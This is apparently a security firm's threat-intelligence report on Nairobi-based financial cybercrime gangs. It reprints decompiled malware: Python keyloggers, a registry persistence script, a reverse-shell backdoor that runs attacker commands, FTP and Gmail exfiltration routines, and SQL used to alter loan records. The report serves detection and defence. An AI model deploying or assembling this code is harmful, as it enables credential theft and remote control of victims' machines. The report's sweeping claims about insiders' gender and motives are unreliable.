Nairobi and East African Cyber Gangs Increase in Numbers as Heists expands to other industries

For the last few months, OnNet has witnessed a growth of new cyber gangs with some that broke off the major known groups and using some of the TTPs noticed from those groups. Though OnNet is still collecting and attributing to these so “new” operational actors behind the heists, a new wave of attacking Education Centers, Travel/Accommodation companies, Insurance organizations and hospitals has increased. One of major actors behind most of these intrusions are from a faction that broke out of SilentCads late 2019 to form a Finacial Threat group tracked by OnNet as The Consultants. Late 2019, after a money heist from a Crediting firm, OnNet team running counter cyber against this group, witnessed several uploads of scanned customer cheques to a Command Control server overseas during a penetration and active heist by The Consultants. This was also witnessed on accomodation and travel company in Nairobi that lost a lot of funds this January, 2020.

The Consultant have evolved to use of dwagent from which allows them to deploy an agent written as a service in C/C++ winapi as seen below.

void WINAPI ServiceMain(DWORD argc, LPWSTR *argv);
void WINAPI ServiceCtrlHandler(DWORD Opcode);

typedef bool (*FUPDATER)();
typedef void (*CallbackType)(const wchar_t*);
typedef bool (*FCALLBACKLOG)(CallbackType);

void trim(wstring& str, wchar_t c) {
    string::size_type pos = str.find_last_not_of(c);
    if (pos != string::npos) {
        str.erase(pos + 1);
        pos = str.find_first_not_of(c);
        if (pos != string::npos) str.erase(0, pos);
    } else str.erase(str.begin(), str.end());

Dwagent as service has other utils like screencapture which is used by The Consultants teams to deploy capability to either view screen and capture screenshots during a cyber intrusion of a targeted organization.

The Remote Access Tool also has several python scripts for resources needed by the agent and for sustaining audit trail of each connection by disservice. The logs generated by dwagent always disclose an incredible detailed information about the actor behind the screen during the intrusion..

The Terminal capability on a targeted system is run via a python toolkit as shown.


class Shell():
    def __init__(self, agent_main):
        self._list = {}
        self._list_semaphore = threading.Condition()
    def destroy(self,bforce):
        if not bforce:
                if len(self._list)>0:
                    return False
        return True

This actor changes the name of the installation folder to hide the service directory of this Remote Access Toolkit, but this service spawns a process called dwagent.exe that connects to

This actor has almost the same type of keylogger Silentcards uses, but with a few changes. During development of the code the actors named the python scripts, either or on their laptops/PCs. The keylogger is currently tracked as KoKologger by OnNet CTI team.

MD5 928f59d3701e9572c36530a526698372

SHA-1 193b25d17060ea878e0ef3a30419d561245621ebSHA-25686b3d95efad0a74c324e3cc17156e511e5323a8a50a97df1d123a5f848d39902

Forkbombo Terminated!!!

A cyber threat group that caused chaos in the financial sector due to coordinated heists was taken down in Kigali late last year(2019).

This group flourished for several years after the main Cyber Cartel was taken down in 2017, with the third in command assuming Operational Command, after he unsuccessfully was unable to attain a Political statue during 2017 nominations, thus quickly reverting to crime, and organizing this threat group with use of Cut-Outs across its organized crime operations, such that even the Money Mules didn’t know each other and could not have access to the hackers’ deployed to run target penetrations.

This group led by a man named Rueben also known as Ben, operationalized use of hackers from other threat groups with use of Grapzone’s leadership for the toughest targets around East Africa. With his leadership, the group started to expand to Central Africa, attempting to beat SilentCards threat-group in expansion around the area.

One of the exceptions OnNet CTI analysts noted with this group, was use of financiers who joined and injected money into the group in order to get dividends as if they were directors. Obliquely, Forkbombo group operated like a company or rather a cooperate entity.

With Forkbombo gone, OnNet collected intelligence on several groups as they broke up and mutated in 2019 than observed before in East African Cyber Threat Intelligence.

Top cyber threat groups 2019 East and Central Africa

The newest group which we observed breaking out of SilentCards is called The Consultants. At the top of their target list are Government Financial Systems.

As these groups grow and mutate, resilient prevention capabilities are required to stop and evict them.

At the time writing, senior members of the Forkbombo group are still behind bars, while they still have charges in other countries around East Africa for several cyber heists conducted over the years.

SilentCards threat group expands around East and Central Africa with an offshoot group born due to internal rivalry.

SilentCards, a threat group OnNet pursues, expands its intrusions around Central Africa after gaining footholds into several banks in Uganda, Tanzania and Rwanda. The threat group is an offshoot of the former Cyber Cartel discussed on this post.

The second in command of the former Cartel group branched off and formed this group which has raked out the biggest share in Cyber Crime across East Africa. The group has made out with around 2 Billion Kenya shillings from 2018 to mid 2019, targeting Saccos, Banks, Mobile Banking service providers, ISPs, Holding Companies, Hedge Funds, Betting Firms and Government financial sectors across East Africa.

Silentcards raked the biggest share in cyber crime underworld around EAfrica.

More money more problems – trouble started brewing at home.

The internal rivalry grew for a while until one of their senior team members, was arrested during a sting operation to uncover the insider recruitment tradecraft, after a device infiltration into one of the five largest banks in East Africa.

Immediately after this, a team of five SilentCards operatives branched out and started to run operations using SilentCards’ TTPs, which eventually began a long gang rivalry between the two groups. This new group is currently clustered and pursued as RuiruShepherds by OnNet Threat Intelligence Analysts, associated with several laptops they used, that were exploited and mapped to a Safehouse at Ruiru Estate, around June this year.

Later, SilentCards was observed to expand operations to Mozambique, Rwanda and Zambia in a span of three months.

The TTPs used by SilentCards are almost familiar with the former cartel’s tradecraft, only with a change on removing the Infilled laptop after gaining sustainable foothold.

During an Active Threat Interference mission, OnNet CNO teams managed to run enabling activities for collection of several tools used by SilentCards this year. On this post, OnNet CTI team shares new insights on the group’s current logger and backdoor.

The keylogger which is derived from the infamous HailMary, was spotted active from as early as January 2019, used by this threat group in the wild against two Saccos.

The logger is currently named LandCruizer keylogger by OnNet Reverse Engineering team for clustering the threat.

0c9d3c42a53fe8398213069cdbbd1759  Java.exe

This keylogger just like any other developed by SilentCards stores its logger data in %userprofile% of the targeted user with extension .tar.gz and uploads the data to drivehq, ftp account.

print "Time to ruuuuuuuuuuuuuuuuuuuun"
print "Amuka"

parents, babies = (1, 1)
while babies < 100:
    print 'This generation has {0} babies'.format(babies)
    parents, babies = (babies, parents + babies)

FILE_NAME=os.getenv('userprofile')+"\\" +LOGGED_IN+".tar.gz"

Its OnKeyBoard definition matches the HailMary Keylogger used widely by Grapzone and other Advanced Financial Threat actors across East Africa.

def OnKeyboardEvent(event):
    LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
        LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
        LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
        print LOG_NEWACTIVE
        f = open(FILE_NAME, 'a') # or 'w'?
        f.write("\n====================================================== \n")
        f.write("<Active Window: "+ " |<< "+event.WindowName+">> Date <<"+str(now)+">> HOST <<"+COMPUTER_NAME+ ">>
 USER <<"+ LOGGED_IN+'>>\n')
------------------------- \n")

Keylogger main is as below;

    print "Threads running"
    """If this script is run as stand alone then call main() function."""

After the recruited insider is coached and manages to successfully implant the rogue laptop into the target infrastructure, the SilentCards’ operators swing into action through Teamviewer as a Remote Access Tool and commence deploying GoToMyPc across machines penetrated in the internal infrastructure until they reach their objective.

Another backdoor utilized is a tool derived from Aeshell backdoor called SeaDuke. This toolkit is deployed internally, inside the targeted infrastructure with the machine its implanted on, acting as a hop-relay of screenshots collection to a controlled C2 via NoIP, into Natted Servers hosted in Safehouses around Nairobi. The SeaDuke PE samples, collected by OnNet Threat Intelligence Analysts for the last few months, mapped to that is registered to a user with a gmail account, This same account is used in several heists to register GoToMyPC backdoors on an annually paid account from a VISA of a Bank account registered in Nakuru. This Gmail account also matches up with other email accounts, that show use of a VISA account managed by SilentCards leaders’ spouse.

# server config
HOST = ''
PORT = 53

# session controller

In some of the keylogger data collected from their servers after June 2019, the actors showed much more interest to Holding companies, Intellectual Property/Advertising Companies and Internet Service Providers. An example of a keylogger data below shows collected information against an Internet service provider, mid 2018, which progressed to more attacks in 2019.

Active Window:  |<< Pesapal Support - Mozilla Firefox>> Date <<2018-06-27 07:25:02.284000>> HOST <<DCM-7503-002-P
C >> USER <<DCM-7503-002>>
<Active Window:  |<< Start menu>> Date <<2018-06-27 07:25:02.284000>> HOST <<DCM-7503-002-PC >> USER <
<Active Window:  |<< Zuku Online Payment - Administration - Mozilla Firefox>> Date <<2018-06-27 07:25:02.284000>> 
HOST <<DCM-7503-002-PC >> USER <<DCM-7503-002>>
<Active Window:  |<< Subscribers 
 Wananchi CRM - Mozilla Firefox>> Date <<2018-06-27 07:25:02.284000>> HOST <<DCM-7503-002-PC >> USER <
0 [ENT]
<Active Window:  |<< 0 
 Wananchi CRM - Mozilla Firefox>> Date <<2018-06-27 07:25:02.284000>> HOST <<DCM-7503-002-PC >> USER <
RRY, 19
<Active Window:  |<< Start menu>> Date <<2018-06-27 07:25:02.284000>> HOST <<DCM-7503-002-PC >> USER <

SilentCards, have managed to get access to several Small to Medium Enterprises, stealing small chunks of money in different heists in course of a month which doubles up what the other threat groups manage to cash out at the same estimated timeline, making this group the biggest earner of cyber crime in Eastern and Central Africa.

Speed is everything

This group has less Operation Security (OPSEC), than all the other groups we have observed.

Speed is everything when countering SilentCards Threat group.

Speed to evict them is essential before the hidden laptop goes online, after the rogue device is brought in and goes operational, removing their foothold even after unplugging the laptop is a gamble. Using CTI led Incidence Response on this threat group intrusions, can help protect the business operations for the customer and cultivate the business decisions during eradication and eviction of the adversaries.

Attribution matters, cyber is still subject to the laws of science, thus cyber being a signal, it can be intercepted, observed and tracked to its origins.

Loan Wipers – The Grapzone threat group.

Introducing Grapzone

Grapzone was a novice threat group which started around 2013-2014 just like all other threat groups, in a small Estate in Kasarani, Nairobi. This threat group begun with small-time heists, like clearing receipts from a supermarket, e.g they would penetrate the Supermarket billing system and produce a receipt of payment for a TV and then an insider would get that receipt printed for them. The ground teams working with GrapZone hackers would go pick the TV or any other expensive merchandise that was fraudulently purchased, which even included cookers and beds. During these attacks, they used an opensource RAT known as QuasarRAT written in C#.

Server connection settings used to set up QuasarRat through a zuku router tracked to Kasarani Estate.

Their initial keylogger, which had several similarities with HailMary logger, was used to target the Supermarket managerial offices, at the suburbs of Nairobi with keylogger data uploading into an account at cloud storage services. Apart from merchandise operations, their operators also crossed over into Air Tickets and Money Gram heists.

At the end of 2016, their main coders met the Forkbombo leader when it still was a group for tool exchange and joint operations as it evolved into a Cyber Cartel.

This is equally the time Fsociety keylogger, lately known by the Cyber Security Community as Hailmary keylogger was born.

As Grapzone joint operations went on, with the Larger crew, new tactics and techniques were also developed and they learnt that clearing loans from small financial institutions stealthily, in small chunks logged on directly to the DB might not be noticed. Furthermore, Cyber security back then was an after-thought.

During these stealthier operations, the AFTs deployed new tactics, developed new tools and learnt how to recruit insiders for prodigious, improved heists.

The first objective was to get an insider to provide an overview of the organizations’ infrastructure and send over WAN Topology to the attackers’ gmail account.

Topology is sent to the hackers, captured by OnNet CNO team.

With the insider in place, usually an ICT staff member, the adversaries study the materials, understand the environment and request the insider to assist with the installation of RUT backdoor.

With the Backdoor installed, the insider was given three files, one being the main Keylogger PE i.e HP.exe, the deployer which is clickme.bat and tutorial file, README.txt and briefed on who and which floor to target during the institution’s after hours. The files are shown as below respectively.

$ file HP.exe	
HP.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$ strings HP.exe
!This program cannot be run in DOS mode.
T$ ;B
%s returned %d
Cannot allocate memory for ARCHIVE_STATUS
Cannot open self %s or archive %s
Failed to get executable path. 
GetModuleFileNameW: %s
Failed to convert executable path to UTF-8.
Cannot GetProcAddress for Py_DontWriteBytecodeFlag
Cannot GetProcAddress for Py_FileSystemDefaultEncoding
Cannot GetProcAddress for Py_FrozenFlag
Cannot GetProcAddress for Py_IgnoreEnvironmentFlag
Cannot GetProcAddress for Py_NoSiteFlag
Cannot GetProcAddress for Py_NoUserSiteDirectory
Cannot GetProcAddress for Py_OptimizeFlag
Cannot GetProcAddress for Py_VerboseFlag
Cannot GetProcAddress for Py_BuildValue
Cannot GetProcAddress for Py_DecRef
Cannot GetProcAddress for Py_EndInterpreter
Cannot GetProcAddress for Py_Finalize
Cannot GetProcAddress for Py_IncRef
Cannot GetProcAddress for Py_Initialize
opyi-windows-manifest-filename HP.exe.manifest
$ file clickMe.bat 
clickMe.bat: DOS batch file, ASCII text, with CRLF line terminators
Deployer batch file
$ cat README.txt 
HP.exe is the keylogger without ftp, saves in programdata.

1) Copy the file HP.exe in C:\programdata
2) Right click on the file clickme then 
   from the drop down menu click run as Administrator

From the backdoored server, RUT command shell is executed and the hackers using psexec.exe with the new credentials caught from the domain administrators, the intruders commence to laterally move from one workstation to another deploying keyloggers. During these days mimikatz was not popular in Kenyan AFT scenes, but OnNet Threat Intelligence team caught several other threat actors utilizing it in the wild as from early 2017.

In some machines, that the AFTs experienced anti keylogger systems, they quickly deployed ways to bypass the defense as below:

(0, 'AntiLogger', u'"C:\\Program Files (x86)\\AntiLogger\\AntiLogger.exe" /minimized', 1)

(1, 'IBM websphere', u'C:\\ProgramData\\oneNote.exe', 1)

As the adversaries continued to gather more Administration credentials collected by the keyloggers, scanning to find more systems in the data-center commenced on subnet. The scanner used at the time was Bopup Scanner which OnNet observed as very noisy during operations thus, it should have set off all the bells.

These scans targeted port 445, a protocol used for SMB and SAMBA services in the environment. The SMB – a Server Message Block, for sharing files, printers, serial ports and other network resources. Grapzone used psexec.exe to laterally control machines remotely and pivoted from one to another installing loggers and collecting keylogger data from sensitive systems in the targeted environment.

On gaining access to systems they needed, the AFTs would test the credentials and understand Database Processes for each system penetrated.

Testing credentials and the SQL statements

For the AFTs, this included understanding swift and other fintech systems.

And also understanding the commands to change accounts once privileged access to SQL is attained, which was a vital objective.

Account changes and manipulation.

The AFTs also managed to target small loan applications inside the institution and used SQL commands as below to modify data, especially from mid-2015.

INSERT INTO [t_productpackage] ([PackageID],[Description],[RepaymentProductID],[LoanProductID],[PackageClassID],[CurrencyID],[CreatedBy],[CreatedOn],[ModifiedBy],[ModifiedOn],[SupervisedBy],[SupervisedOn],[UpdateCount],[SavingProductID],[LoanProductID2],[BaseID])VALUES('HEMA','Loan On Phone(Hema Group)','CA01','JLN30','PACK01','KES','DTS','Mar 30 2015  4:36:00:000PM',NULL,NULL,NULL,NULL,1,'CA01','JLN30','03')
--Delete t_PackageRule  where RuleID ='PR0019'
INSERT INTO [t_ProductPackageRule] ([PackageID],[ActionID],[RuleID],[CreatedBy],[CreatedOn],[ModifiedBy],[ModifiedOn],[SupervisedBy],[SupervisedOn],[UpdateCount])VALUES('HEMA','LN_AUTO','PR019','SYS',getdate(),NULL,NULL,NULL,NULL,1)

Eventually the institution lost a huge amount of funds.

Indicators of Compromise

a) Writereg.exe

854af931642277b67ced45ba00a92803 write_reg.exe

from _winreg import *
import sys

reg_value = ""
reg_value = ''
for eachArg in sys.argv:
    print eachArg
    i += 1
    if (i == 2):
        reg_value = eachArg
print 'Registry Key:' + reg_value

aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE) #Connect to registry                                                  
print r"*** Writing to SOFTWARE\Microsoft\Windows\CurrentVersion\Run ***"
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
   SetValueEx(aKey,"HP DeskJet_",0, REG_SZ, reg_value) 
except EnvironmentError:                                          
    print "Encountered problems writing into the Registry..."
CloseKey(aReg)  #Close registry

b) AMD_intel.exe

backdoor that called Command and Control

55d50e7df1a96791ad9f35b10924354e AMD_intel.exe

c) kernelpatch.exe

Backdoor, collector of keylogger data to drivehq ftp service.

c5ea2ad669a58b9ba2e0795bf1117fbb kernelpatch.exe

Sample part of the code

print "Starting ...."
isNotConnected = True
while isNotConnected:
        print "Connecting to Server . ..."
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # connect to attacker machine
        s.connect((HOST, PORT))
        isNotConnected = False
        print "Connected to Server: " + HOST + "at port: " + PORT
    except Exception, m33:
        print m33
        isNotConnected = True
# start loop
while 1:
         # Current Working Directory
         cwd = os.getcwd()
         print cwd + "#>"
         # recieve shell command
         #command = s.recv(1024)
         command = s.recv(PORT)
         print "Recved data: " + command
         # if its quit, then break out and close socket
         if command == "quit": break
             # if no data do nothing
         elif command == "":
             # Do nothing useful if there is no data stream
             m = 1 + 1
         elif command == "get_logs":
              s.send("Logs collection success, M3. R0dn3t!!")
         elif command == "deploy_logger":
              s.send("K3yl0883r upl04d3d succ3ssfully, M3. R0dn3t!!")
         else :
             # Send current working directory path to listener
             # s.send(cwd)
             # do shell command
             proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
             # read output
             stdout_value = +
             # send output to attacker
             if stdout_value == "":
                  cwd = os.getcwd()
                   #print "Transmitted: " + stdout_value
    except Exception, e:
        print e

d) gestartup_apps.exe

b434bea29903bdccb77c0d0a1dc3684f gestartup_apps.exe

import os
from _winreg import *
FILE_NAME=os.getenv('programdata')+"\\" +LOGGED_IN+".xls"
f = open(FILE_NAME, 'a')
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE) #Connect to registry
print r"*** Reading from SOFTWARE\Microsoft\Windows\CurrentVersion\Run ***"
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run") 
for i in range(1024):                                           
        n,v,t = EnumValue(aKey,i)
        print i, n, v, t
        verbose = i, n, v, t
        print verbose
        f.write(str(verbose) + '\n')
    except EnvironmentError:                                               
        print "You have",i," tasks starting at logon..."

e) HP.exe (keylogger)

a2dee5b98c9eedb6ee0fdf579f1319e0 HP.exe

f) pscan24.exe (scanner)

45d89c015fb0f3b1672540ed281d5dbe pscan24.exe

g) PSAttack.exe

a7ed154c98662b044cbaaf9dc9fb3a4d PSAttack.exe

The Toolset Forkbombo used when it was a cartel

The tools mentioned herewith, should now be detectable in every targeted environment. Reversing such PEs is vital for Adversary pursuit and for Computer Network Defense (CND)

Before the Forkbombo went back into a smaller group, it used to be a Cartel that was build by one former government official who was aware of the small teams as early as 2010 when cyber crime started to hit several East African financial institutions. According to the CTI collected, the officer brought these teams together which grew into a big cyber cartel from 2015 to mid 2017, then they broke up into five different threat groups targeting Financial Institutions.

During their era as a bigger Cartel, several tools were developed and some are still in play, though as OnNet if you find these tools we will name here, then be aware that you were OWNED long time ago and the adversary’s objectives were achieved, plus several backdoors either hardware, software or human are surreptitiously running in your environment.

The first tool they used was a meterpreter python injector in 2016 that dropped a meterpreter DLL which called a Control Server on a NATted box behind a JTL router. The screenshot of the module running is shown below:

The tool had a loader script they called endpoint.exe, which OnNet named the same. It was written in python and set on the startup folder of the penetrated systems. OnNet decompiled the code shown as below:

import os 
import time 


print os.getcwd() 
while True:     
       os.system("start /MIN https443pip.exe")     
       print "going to sleep"
       print"wking up"

This would call https443pip.exe which OnNet code-named as MetaPipe.

From the exif metadata, the tool was deployed on 5th of January 2016 to several targeted organizations.

File Modification Date/Time : 2016:01:05 10:46:24+03:00

This dropped a very old variant of HailMary keylogger that was named Manualklg, which their developer had overwritten and was noisy plus it uploaded data to a techrepublic account in A reversed version of the code is as below:

import pythoncom, pyHook, sys, logging, socket, datetime, os, win32gui,time
from threading import Timer
from threading import Thread
#import shutil
import ftplib, base64

keyids = {
    44:'Prt Scr',
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "

file_name=os.getenv('userprofile')+"\\" +LOGGED_IN+".tar.gz"
now =

class KeyBoardHook():

        f = open(file_name, 'a')
        f = open(file_name, 'w')
    f.write('\nTHIS IS THE START-UP: '+time.asctime()+">")

    def onApp(self, appname):
            self.f = open(file_name, 'a')
            self.f = open(file_name, 'w')
        if appname !=
   = appname

            self.f.write("\n======================================================================================================================== \n")
            self.f.write("<<DATE TIME>>: "+time.asctime()+"<<ACTIVE WINDOW:>> "': '+">> HOST <<"+COMPUTER_NAME+ ">> USER <<"+ LOGGED_IN+'>>')
            self.f.write("\n------------------------------------------------------------------------------------------------------------------------ \n")
            sys.stdout.write('\n\n'+time.asctime()+'\n'': ')

    def onKeyboardEvent(self, event):
        KeyID = event.KeyID
        Ascii = event.Ascii
            self.f = open(file_name, 'a')
            #self.f.write("Append mode")
            self.f = open(file_name, 'w')
            #self.f.write("write mode")
        if ((KeyID in range(48, 91))
            or (KeyID in range(96, 112))
            or (KeyID in range(186, 223))
            or (KeyID == 32)
        if KeyID == 8:
        if (KeyID == 9):
        if (KeyID == 13):
        if (KeyID ==32):
        if (KeyID ==9):
        elif ((KeyID not in range(48, 91))
              and (KeyID not in range(96, 112))
              and (KeyID not in range(160, 162))
              and (KeyID not in range(186, 223))
              and (KeyID != 32)
              and (KeyID != 8)
              and (KeyID != 9)
              and (KeyID != 13)
        return True

    def __init__(self): = ''

def klg():
    KB = KeyBoardHook()
    while True:
        hm = pyHook.HookManager()
        hm.KeyDown = KB.onKeyboardEvent

##if __name__ == '__main__':
##    main()

##def klg():
##    #KB = pyHook.HookManager()
##    KB = KeyBoardHook()
##    hm.KeyDown = OnKeyboardEvent
##    hm.HookKeyboard()
##    pythoncom.PumpMessages() #will wait forever
##    return True

##def ftp_nc():
##    while True:
##        #print dir(ftplib)
##        try:
##            ftp = ftplib.FTP('','techdynamic','P@ssw03d')
##            with open(file_name,"rb") as f:
##                directory, filename = os.path.split(file_name)
##                ftp.cwd("//PF")
##                ftp.storbinary('STOR ' + filename, f)
##                new_name=time.strftime('%Y_%m_%d_%H_%M_%S')+"_"+filename               
##                ftp.rename(filename,new_name)
##                ftp.quit()
##                print "Uploaded Successfullt"
##                time.sleep(3600)
##        except Exception, e:
##            print e
##            time.sleep(600)
##    return True

#main loop

ss = Thread(target=klg, args=())

##zz = Thread(target=ftp_nc, args=())

Forkbombo went ahead and started to rewrite the HailMary keylogger into different versions which also meant uploads to gmail accounts and others variants that retained their data on the infected PC until the ForkBombo operators armed with psexec would log in and copy the data to a hidden laptop in the targeted infrastructure. That keylog data would then be exfiltrated to their command center for analysis targeting credentials.

The next keylogger they started to populate was called lg_tr.exe with md5 hash of 63ad4cb163ae7c0506ed6c7ff8fa8fef.

OnNet DARE team, decided to upload this variant to VT a month ago, June 2019, because for some reason, some of the best Anti-viruses applications, were not yet apprehending it as malicious in targeted organizations.

This logger was saved and compiled from a python script. as saved on intruders computer during development.

The reversed source code is as below, note the keylogger was still saving files as .tar.gz. They still had not moved to Other versions later in 2018-2019 moved to save logger data as .ini or .sys file extensions to hide their outputs and emulate operating system files.

import pythoncom, pyHook, sys, logging, socket, datetime, os, win32gui,time
#import smtplib
###from email.MIMEMultipart import MIMEMultipart
##from email.MIMEBase import MIMEBase
##from email.MIMEText import MIMEText
##from email import Encoders
#global MAIL_SENT
##gmail_user = ""
##gmail_pwd = "mlimani_25891011"
now =
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "
##def mail(to, subject, text, attach):
##   msg = MIMEMultipart()
##   msg['From'] = gmail_user
##   msg['To'] = ''
##   msg['Subject'] = subject
##   msg.attach(MIMEText(text))
##   part = MIMEBase('application', 'octet-stream')
##   part.set_payload(open(attach, 'rb').read())
##   Encoders.encode_base64(part)
##   part.add_header('Content-Disposition',
##           'attachment; filename="%s"' % os.path.basename(attach))
##   msg.attach(part)
##   mailServer = smtplib.SMTP("", 587)
##   mailServer.ehlo()
##   mailServer.starttls()
##   mailServer.ehlo()
##   mailServer.login(gmail_user, gmail_pwd)
##   mailServer.sendmail(gmail_user, to, msg.as_string())
##   # Should be mailServer.quit(), but that crashes...
##   mailServer.close()
def OnKeyboardEvent(event):
    LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
        LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
        LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
        print LOG_NEWACTIVE 
        f = open(FILE_NAME, 'a') # or 'w'?
        f.write("\n====================================================== \n")
        f.write("<Active Window: "+ " |<< "+event.WindowName+">> Date <<"+str(now)+">> HOST <<"+COMPUTER_NAME+ ">> USER <<"+ LOGGED_IN+'>>\n')
        f.write("\n------------------------------------------------------------------------------------------------------------------------ \n")
    LOG_TEXT = ""	
    if event.Ascii == 8: LOG_TEXT += "\b"
    elif event.Ascii == 13 : LOG_TEXT += " [ENT]\n"
    elif event.Ascii == 9: LOG_TEXT += " [Tab]\n"
    elif event.Ascii == 14 or event.Ascii == 15: LOG_TEXT += "[shift]"
    else: LOG_TEXT += str(chr(event.Ascii))
    print LOG_TEXT
    f = open(FILE_NAME, 'a') # or 'w'?
    #x can be a conditional for something
##    TIM=int(time.strftime('%H%M'))
##    if TIM>1100 and MAIL_SENT==False:
##               mail("","Subject","Body",FILE_NAME)
##               print "Sent mail"
##               MAIL_SENT=True
##               #time.sleep(14400)
    return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
pythoncom.PumpMessages() #will wait forever

The same Adversary group also specialized in a backdoor, also written in python known as SeaDuke. When the Cartel broke up, this tool development stalled until SilentCards picked up on it late last year, 2018, with OnNet collecting several unique binaries across several Financial organizations.

The oldest version of SeaDuke backdoor called a C2 server in Brazil with IP, username thab0ss and password $#!^ which happened to be almost the same credentials to log into the server. Inside was a list of the organizations, Forkbombo were targeting from 2014 as seen below:

Counter cyber with, CNE (Computer Network Exploitation) strategy against the intruders, helped the client understand and visualize how the adversaries copied keyloggers and renamed them across the machines in the target environment as illustrated below:

Since the group broke up mid 2017, OnNet has observed an uproar of different variants of tools especially from the remaining members of this group and a specialized coder from a threat group known as Grapzone. These changes have shaped up a rather peculiar diversity on adversarial penetration of Financial Organizations around East Africa in high numbers, therefore enriching the threat group leaders with immense and illegally acquired wealth.

The Insider Menace

95% of insider threats are usually men.

Insiders that communicate and facilitate adversary groups are typically trusted male employees, which is constituted by some sense of failure in their life or need of money and lack of success which still outlines to that sense of failure.

During majority of the engagements and CNE operations, OnNet CNO team develops and collects intelligence on the insider threats involved and usually ends up identifying, a male between the ages of 28-40 years old.

Kenyan AFTs

The six threat actors OnNet tracks in Kenyan are Nairobi based financial groups that broke up from the primary AFT, and all five of them have the same TTPs when they approach insiders except SilentCards.

SilentCards approaches anyone with physical access to the building often involving guards and janitors and then offers them money. The insider assists them with the delivery of a rogue laptop to the institution’s building.

With Examples

We have witnessed a Janitor/Cleaner photograph statements and software queries from an office late in the evening and send them to an AFT operator via social media as seen below.

Such surveillance helps the AFTs’ to understand the banking software used by the Financial institution.

The same AFTs have used a communications officer in a different instituton to get names of all Western Union tellers, their usernames and emails as seen below.

Though Forkbombo used to work well with SilentCards over a couple years, predominantly the former concentrate on the personnel with an ICT background, collecting OSINT on the subject via LinkedIn, Facebook and other Social media platforms. Then in no time, they will communicate with him, to assist with installation of RUT backdoor. We have witnessed them approach an Accountant with some ICT background as stated on his LinkedIn profile, and such malicious insider would not only aid with the backdoor installation but forward copies of email threads so that the AFTs can understand the inner working of the banks systems.

The screenshot below shows a thread that was forwarded over to the AFTs.

Several batches are usually forwarded depending on the demand.

Some emails contain balances during loan heists when the AFT needs to understand how loans are paid and the organization’s/client’s with bigger credit.

This was a big Modus Operandi for another Threat group OnNet tracks codenamed GrapZone which specialized in loan sabotage, credit manipulation and bill de-credit operations.

Getting statement details for accounts with huge loans was a major MO used by Grapzone, to clear loans quietly little by little without getting noticed.

Computer Network Defense

With the insider threats growing and evading several security checks, a lot of institutions are under attacks everyday.

Building a framework to spy (DITU) or setting up UEBA solutions on the employees can get disastrous and expensive, rather educating them and establishing a culture of accountability can minimize such risks and inflict less harm to the organization already targeted by the AFTs.

Tooth Brushes and GoBags, when we go Counter Cyber

The Culture

When analysts join our ranks, the culture we had when most of us worked for different Governments between EU and EAfrica, was GoBags and all-nighters. These are usually essential when you are dealing with high level advanced actors. When most of us were in public service and running CNO, the mission always came first whilst in Private sector, its much different and adapting is essential because, what a client requires in such an engagement is a solution that will ensure continuation of his/her business.

Engaging The Adversaries

But, adversaries don’t require that due to the fact they are on a mission, they don’t ask for your ISO Cert or when you did your Pentest last, they have an objective which they need to service. So if the analysts coming to respond are not prepared to counter, the actors will be in a position to plant tools anywhere they wish to, at any time they necessitate thus making it hard to counter them. In the end, you find that even after a few machines are cleaned, the actor is able to run lateral movements through the environment detonating their tools at will. Hard work and in battle formation is imperative during counter cyber. Every adversary we encounter at OnNet has an operational timeline, and if you want to be ahead of them, you have to work twice as hard to access their breakout time, how they got foothold and their initial access into a subnet/environment. Advanced actors want to have a few active implants down into the environment while meeting mission objectives. The most dangerous are those that set up passive implants that call home after months, and these actors usually put the work between beachhead to foothold and then to expansion in months, close to an year of CNE operations.

Such stealth and methodical penetration is usually extremely hard to detect and if the tools are custom, the harder it becomes for a normal analyst to pick up such a threat. This is where in OnNet we come through for you, and during such counter cyber operations, there will always be offense.

Cyber Threat Intelligence

Having prior Threat Intelligence does help a lot on stopping the actor, in government, Intelligence is the first line of defense during a conflict or even at peace time. Approaching the environment that way, gives you leeway to set up on the high grounds and watch the battlefield. Getting ready requires camping at clients and collecting data, usually a lot of it and running it through analytics. This helps your operators on the high grounds and down range to understand the intent of the adversaries. You cannot assume or even result to think that they are irrational, due to their actions in the network because as a analyst you didn’t make sense of their intent and capabilities before the fire fight starts. This can result to failure during response and counter cyber ops. Thus, when on the battleground, soldiers do not go home until the dust settles and everything is cleared out .

Fifth Domain Of War

Cyber being the fifth domain of war, at OnNet we fight until the end.

When the fight starts, an infiltrate teams objective, is to zero on the target and take it out to the exclusion of all else. But remember these teams don’t identify everything besides their target through the scope of their rifles sights. A leader has to come through for them surrounded by his/her Threat Intel team and as much as he/she wants to fire, he/she needs to keep their weapon at full port arms, and listen to the intelligence dripping in while scanning the entire battlefield to see and apprehend it all, for action.

The new Age of Information Operations

Cyber has reached a new era of Information Operations, you cannot defend an institution without countering the actors as if you are in a battleground. Waiting for containment to be initiated after the actor has accomplished their mission should not be the case. Prevention should be executed real fast by stopping the adversaries before they succeed in their objectives.

The 2018 HailMary keylogger upgrade by FORKBOMBO Threat group


Since last year after the threat group discovered we, OnNet team knew where the logger data was stored, mostly in %ProgramData% , this threat group overhauled their previous Fsociety-keylogger and decided to write a new one.

Previously, the keylogger they used in most of 2018 heists was compiled with an Microsoft Onenote icon and saved as OneNote.exe, which saved files as tarred resources in %ProgramData%

Since mid 2018, the code was change and files were saved as swapfile.usernamecompromised.sys

Below is a de-compiled version of the python code.

import pythoncom
import pyHook
import sys
import logging
import socket
import datetime, time
import os
